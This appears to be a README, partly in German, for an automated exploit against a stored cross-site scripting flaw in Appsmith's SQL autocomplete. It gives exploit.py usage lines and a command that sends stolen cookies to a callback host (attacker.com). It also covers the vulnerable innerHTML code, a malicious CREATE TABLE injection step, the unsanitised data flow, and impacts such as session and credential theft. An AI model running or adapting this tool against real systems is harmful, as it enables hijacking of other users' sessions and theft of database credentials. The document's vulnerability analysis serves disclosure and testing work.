
Automatisierung der Ausnutzung von CVE-2026-7299 - Stored XSS via Database Table/Column Names in SQL Autocomplete innerhalb Appsmith <=1.99. Erstentdeckung 30/03/26
Automatisierter Exploit für eine gespeicherte Cross-Site-Scripting-Sicherheitslücke im SQL-Abfrageeditor von Appsmith. Ein Workspace-Entwickler kann beliebiges JavaScript über Datenbanktabellennamen injizieren, das im Browser eines anderen Workspace-Mitglieds ausgeführt wird, wenn die SQL-Autovervollständigung ausgelöst wird.
Bestätigt für Appsmith v1.98 und wahrscheinlich alle früheren Versionen, in denen der benutzerdefinierte SQL-Hint-Renderer vorhanden ist. Die Sicherheitslücke existiert in hintHelpers.ts:165, wo CodeMirrors sichere Standard-Hint-Wiedergabe (textContent) durch einen benutzerdefinierten render-Callback überschrieben wird, der innerHTML verwendet, um Datenbanktabellen- und Spaltennamen ohne jegliche Bereinigung anzuzeigen.
Basic alert PoC:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Cookie exfiltration to a callback server:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Custom payload:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
If no PostgreSQL datasource exists yet, the script auto-discovers connections or you can provide credentials:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres
https://www.youtube.com/watch?v=1RHBYZ2Bp_A
Appsmith ist eine quelloffene Low-Code-Plattform, auf der Teams interne Tools erstellen, indem sie Datenquellen verbinden und Abfragen schreiben. Der SQL-Abfrageeditor bietet Autovervollständigungsvorschläge, die aus den Tabellen- und Spaltenmetadaten der verbundenen Datenbank abgerufen werden.
Die Autovervollständigungsdarstellung in hintHelpers.ts verwendet einen benutzerdefinierten CodeMirror render-Callback:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- unsanitized table/column name
};
CodeMirror 5 verwendet für die Standard-Hint-Wiedergabe textContent (sicher). Appsmith überschreibt dies mit innerHTML, um benutzerdefinierte CSS-Klassen und Icon-Attribute für das Styling hinzuzufügen, aber der eigentliche Textinhalt (der Tabellenname) wird als rohes HTML zugewiesen. Es existiert an keiner Stelle im 8-stufigen Datenfluss vom Datenbankkatalog bis zur DOM-Wiedergabe eine Bereinigung.
Der gesamte Angriff wird über die Appsmith-Web-Benutzeroberfläche ausgeführt.
Der Angreifer (ein Workspace-Entwickler) führt eine CREATE TABLE-Anweisung mit einer XSS-Nutzlast als Tabellennamen aus. Appsmiths PostgresPlugin führt keine DDL-Filterung durch, statement.execute(query) akzeptiert jedes gültige SQL einschließlich DDL.
CREATE TABLE "" (id serial primary key);
Ein anderes Workspace-Mitglied öffnet den SQL-Abfrageeditor für dieselbe Datenquelle und beginnt, eine Abfrage zu tippen. Das Autovervollständigungs-Dropdown erscheint mit Tabellennamenvorschlägen, die aus den Datenbankmetadaten abgerufen werden. Der bösartige Tabellenname wird via innerHTML gerendert, wodurch die JavaScript-Nutzlast in der Browsersitzung des Opfers ausgeführt wird.
Das XSS wird im Appsmith-Anwendungskontext mit der Sitzung des Opfers ausgeführt. Ein Angreifer kann Sitzungscookies (XSRF-TOKEN, SESSION) stehlen, Datenbankanmeldeinformationen exfiltrieren oder API-Aufrufe im Namen des Opfers tätigen. Ist das Opfer ein Administrator, eskaliert der Angreifer zur vollständigen Workspace-Kontrolle.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [no sanitisation]
-> DatasourceStructure Java POJO [no sanitisation]
-> REST API /api/v1/datasources/{id}/structure [no sanitisation]
-> Redux state.entities.datasources [no sanitisation]
-> getAllDatasourceTableKeys selector [no sanitisation]
-> SqlHintHelper.setDatasourceTableKeys() [no sanitisation]
-> CodeMirror hint.sql() completions [no sanitisation]
-> LiElement.innerHTML = text [XSS]
Keine Bereinigung vorhanden, sodass die Nutzlast beim Aufruf durch den Autovervollständigungs-Renderer über innerHTML im DOM ausgelöst wird.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Ich übernehme keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Viel Spaß beim Hacken!